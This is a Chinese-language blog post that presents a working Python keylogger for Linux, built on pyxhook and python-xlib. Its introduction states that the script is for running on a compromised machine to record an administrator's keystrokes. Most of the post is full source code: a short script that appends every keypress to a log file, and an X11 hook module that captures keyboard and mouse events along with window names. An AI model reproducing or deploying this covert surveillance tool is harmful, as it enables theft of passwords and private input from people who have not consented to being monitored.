用Python写的键盘记录器,记录我们所敲击的按键值,当我们攻破一台电脑,可以运行这个脚本,记录服务端管理人员的键盘操作.用下面代码需要安装Python-Xlib库,我用atp-get和pip安装都没有成功,后直接下载python-xlib-0.15rc1源码才安装成功.
python-xlib-0.15rc1下载地址:http://download.csdn.net/detail/qq_21792169/9708593
sudo python setup.py install进行安装
代码中分别写了三个平台的,有linux,Mac,windos.下面文章将描述linux平台的代码.
其他代码下载地址:http://download.csdn.net/detail/qq_21792169/9708606
我们进入linux目录,运行python keylogger.py 就可以记录按键值,修改keylogger.py中的log_file路径制定我们要保存的按键值的文件路径.按grave键来退出程序,也就是ESC下面的那个键.
keylogger.py
import pyxhook
#This tells the keylogger where the log will go. Change it to direct to where you want it.
log_file='/home/linux/file.log'
#The file will automatically appear on the desktop. You may want to edit the location!
def OnKeyPress(event):
fob=open(log_file,'a')
fob.write(event.Key)
fob.write('\n')
if event.Ascii==96:
fob.close()
new_hook.cancel()
new_hook=pyxhook.HookManager()
new_hook.KeyDown=OnKeyPress
new_hook.HookKeyboard()
new_hook.start()
pyxhook.py
#!/usr/bin/python
import sys
import os
import re
import time
import threading
from Xlib import X, XK, display, error
from Xlib.ext import record
from Xlib.protocol import rq
class HookManager(threading.Thread):
"""This is the main class. Instantiate it, and you can hand it KeyDown and KeyUp (functions in your own code) which execute to parse the pyxhookkeyevent class that is returned.
This simply takes these two values for now:
KeyDown = The function to execute when a key is pressed, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
KeyUp = The function to execute when a key is released, if it returns anything. It hands the function an argument that is the pyxhookkeyevent class.
"""
def __init__(self):
threading.Thread.__init__(self)
self.finished = threading.Event()
# Give these some initial values
self.mouse_position_x = 0
self.mouse_position_y = 0
self.ison = {"shift":False, "caps":False}
# Compile our regex statements.
self.isshift = re.compile('^Shift')
self.iscaps = re.compile('^Caps_Lock')
self.shiftablechar = re.compile('^[a-z0-9]$|^minus$|^equal$|^bracketleft$|^bracketright$|^semicolon$|^backslash$|^apostrophe$|^comma$|^period$|^slash$|^grave$')
self.logrelease = re.compile('.*')
self.isspace = re.compile('^space$')
# Assign default function actions (do nothing).
self.KeyDown = lambda x: True
self.KeyUp = lambda x: True
self.MouseAllButtonsDown = lambda x: True
self.MouseAllButtonsUp = lambda x: True
self.contextEventMask = [X.KeyPress,X.MotionNotify]
# Hook to our display.
self.local_dpy = display.Display()
self.record_dpy = display.Display()
def run(self):
# Check if the extension is present
if not self.record_dpy.has_extension("RECORD"):
print "RECORD extension not found"
sys.exit(1)
r = self.record_dpy.record_get_version(0, 0)
print "RECORD extension version %d.%d" % (r.major_version, r.minor_version)
# Create a recording context; we only want key and mouse events
self.ctx = self.record_dpy.record_create_context(
0,
[record.AllClients],
[{
'core_requests': (0, 0),
'core_replies': (0, 0),
'ext_requests': (0, 0, 0, 0),
'ext_replies': (0, 0, 0, 0),
'delivered_events': (0, 0),
'device_events': tuple(self.contextEventMask), #(X.KeyPress, X.ButtonPress),
'errors': (0, 0),
'client_started': False,
'client_died': False,
}])
# Enable the context; this only returns after a call to record_disable_context,
# while calling the callback function in the meantime
self.record_dpy.record_enable_context(self.ctx, self.processevents)
# Finally free the context
self.record_dpy.record_free_context(self.ctx)
def cancel(self):
self.finished.set()
self.local_dpy.record_disable_context(self.ctx)
self.local_dpy.flush()
def printevent(self, event):
print event
def HookKeyboard(self):
pass
# We don't need to do anything here anymore, since the default mask
# is now set to contain X.KeyPress
#self.contextEventMask[0] = X.KeyPress
def HookMouse(self):
pass
# We don't need to do anything here anymore, since the default mask
# is now set to contain X.MotionNotify
# need mouse motion to track pointer position, since ButtonPress events
# don't carry that info.
#self.contextEventMask[1] = X.MotionNotify
def processevents(self, reply):
if reply.category != record.FromServer:
return
if reply.client_swapped:
print "* received swapped protocol data, cowardly ignored"
return
if not len(reply.data) or ord(reply.data[0]) < 2:
# not an event
return
data = reply.data
while len(data):
event, data = rq.EventField(None).parse_binary_value(data, self.record_dpy.display, None, None)
if event.type == X.KeyPress:
hookevent = self.keypressevent(event)
self.KeyDown(hookevent)
elif event.type == X.KeyRelease:
hookevent = self.keyreleaseevent(event)
self.KeyUp(hookevent)
elif event.type == X.ButtonPress:
hookevent = self.buttonpressevent(event)
self.MouseAllButtonsDown(hookevent)
elif event.type == X.ButtonRelease:
hookevent = self.buttonreleaseevent(event)
self.MouseAllButtonsUp(hookevent)
elif event.type == X.MotionNotify:
# use mouse moves to record mouse position, since press and release events
# do not give mouse position info (event.root_x and event.root_y have
# bogus info).
self.mousemoveevent(event)
#print "processing events...", event.type
def keypressevent(self, event):
matchto = self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))
if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))): ## This is a character that can be typed.
if self.ison["shift"] == False:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
return self.makekeyhookevent(keysym, event)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
return self.makekeyhookevent(keysym, event)
else: ## Not a typable character.
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
if self.isshift.match(matchto):
self.ison["shift"] = self.ison["shift"] + 1
elif self.iscaps.match(matchto):
if self.ison["caps"] == False:
self.ison["shift"] = self.ison["shift"] + 1
self.ison["caps"] = True
if self.ison["caps"] == True:
self.ison["shift"] = self.ison["shift"] - 1
self.ison["caps"] = False
return self.makekeyhookevent(keysym, event)
def keyreleaseevent(self, event):
if self.shiftablechar.match(self.lookup_keysym(self.local_dpy.keycode_to_keysym(event.detail, 0))):
if self.ison["shift"] == False:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 1)
else:
keysym = self.local_dpy.keycode_to_keysym(event.detail, 0)
matchto = self.lookup_keysym(keysym)
if self.isshift.match(matchto):
self.ison["shift"] = self.ison["shift"] - 1
return self.makekeyhookevent(keysym, event)
def buttonpressevent(self, event):
#self.clickx = self.rootx
#self.clicky = self.rooty
return self.makemousehookevent(event)
def buttonreleaseevent(self, event):
#if (self.clickx == self.rootx) and (self.clicky == self.rooty):
##print "ButtonClick " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty)
#if (event.detail == 1) or (event.detail == 2) or (event.detail == 3):
#self.captureclick()
#else:
#pass
return self.makemousehookevent(event)
# sys.stdout.write("ButtonDown " + str(event.detail) + " x=" + str(self.clickx) + " y=" + str(self.clicky) + "\n")
# sys.stdout.write("ButtonUp " + str(event.detail) + " x=" + str(self.rootx) + " y=" + str(self.rooty) + "\n")
#sys.stdout.flush()
def mousemoveevent(self, event):
self.mouse_position_x = event.root_x
self.mouse_position_y = event.root_y
# need the following because XK.keysym_to_string() only does printable chars
# rather than being the correct inverse of XK.string_to_keysym()
def lookup_keysym(self, keysym):
for name in dir(XK):
if name.startswith("XK_") and getattr(XK, name) == keysym:
return name.lstrip("XK_")
return "[%d]" % keysym
def asciivalue(self, keysym):
asciinum = XK.string_to_keysym(self.lookup_keysym(keysym))
if asciinum < 256:
return asciinum
else:
return 0
def makekeyhookevent(self, keysym, event):
storewm = self.xwindowinfo()
if event.type == X.KeyPress:
MessageName = "key down"
elif event.type == X.KeyRelease:
MessageName = "key up"
return pyxhookkeyevent(storewm["handle"], storewm["name"], storewm["class"], self.lookup_keysym(keysym), self.asciivalue(keysym), False, event.detail, MessageName)
def makemousehookevent(self, event):
storewm = self.xwindowinfo()
if event.detail == 1:
MessageName = "mouse left "
elif event.detail == 3:
MessageName = "mouse right "
elif event.detail == 2:
MessageName = "mouse middle "
elif event.detail == 5:
MessageName = "mouse wheel down "
elif event.detail == 4:
MessageName = "mouse wheel up "
else:
MessageName = "mouse " + str(event.detail) + " "
if event.type == X.ButtonPress:
MessageName = MessageName + "down"
elif event.type == X.ButtonRelease:
MessageName = MessageName + "up"
return pyxhookmouseevent(storewm["handle"], storewm["name"], storewm["class"], (self.mouse_position_x, self.mouse_position_y), MessageName)
def xwindowinfo(self):
try:
windowvar = self.local_dpy.get_input_focus().focus
wmname = windowvar.get_wm_name()
wmclass = windowvar.get_wm_class()
wmhandle = str(windowvar)[20:30]
except:
## This is to keep things running smoothly. It almost never happens, but still...
return {"name":None, "class":None, "handle":None}
if (wmname == None) and (wmclass == None):
try:
windowvar = windowvar.query_tree().parent
wmname = windowvar.get_wm_name()
wmclass = windowvar.get_wm_class()
wmhandle = str(windowvar)[20:30]
except:
## This is to keep things running smoothly. It almost never happens, but still...
return {"name":None, "class":None, "handle":None}
if wmclass == None:
return {"name":wmname, "class":wmclass, "handle":wmhandle}
else:
return {"name":wmname, "class":wmclass[0], "handle":wmhandle}
class pyxhookkeyevent:
"""This is the class that is returned with each key event.f
It simply creates the variables below in the class.
Window = The handle of the window.
WindowName = The name of the window.
WindowProcName = The backend process for the window.
Key = The key pressed, shifted to the correct caps value.
Ascii = An ascii representation of the key. It returns 0 if the ascii value is not between 31 and 256.
KeyID = This is just False for now. Under windows, it is the Virtual Key Code, but that's a windows-only thing.
ScanCode = Please don't use this. It differs for pretty much every type of keyboard. X11 abstracts this information anyway.
MessageName = "key down", "key up".
"""
def __init__(self, Window, WindowName, WindowProcName, Key, Ascii, KeyID, ScanCode, MessageName):
self.Window = Window
self.WindowName = WindowName
self.WindowProcName = WindowProcName
self.Key = Key
self.Ascii = Ascii
self.KeyID = KeyID
self.ScanCode = ScanCode
self.MessageName = MessageName
def __str__(self):
return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nKey Pressed: " + str(self.Key) + "\nAscii Value: " + str(self.Ascii) + "\nKeyID: " + str(self.KeyID) + "\nScanCode: " + str(self.ScanCode) + "\nMessageName: " + str(self.MessageName) + "\n"
class pyxhookmouseevent:
"""This is the class that is returned with each key event.f
It simply creates the variables below in the class.
Window = The handle of the window.
WindowName = The name of the window.
WindowProcName = The backend process for the window.
Position = 2-tuple (x,y) coordinates of the mouse click
MessageName = "mouse left|right|middle down", "mouse left|right|middle up".
"""
def __init__(self, Window, WindowName, WindowProcName, Position, MessageName):
self.Window = Window
self.WindowName = WindowName
self.WindowProcName = WindowProcName
self.Position = Position
self.MessageName = MessageName
def __str__(self):
return "Window Handle: " + str(self.Window) + "\nWindow Name: " + str(self.WindowName) + "\nWindow's Process Name: " + str(self.WindowProcName) + "\nPosition: " + str(self.Position) + "\nMessageName: " + str(self.MessageName) + "\n"
#######################################################################
#########################END CLASS DEF#################################
#######################################################################
if __name__ == '__main__':
hm = HookManager()
hm.HookKeyboard()
hm.HookMouse()
hm.KeyDown = hm.printevent
hm.KeyUp = hm.printevent
hm.MouseAllButtonsDown = hm.printevent
hm.MouseAllButtonsUp = hm.printevent
hm.start()
time.sleep(10)
hm.cancel()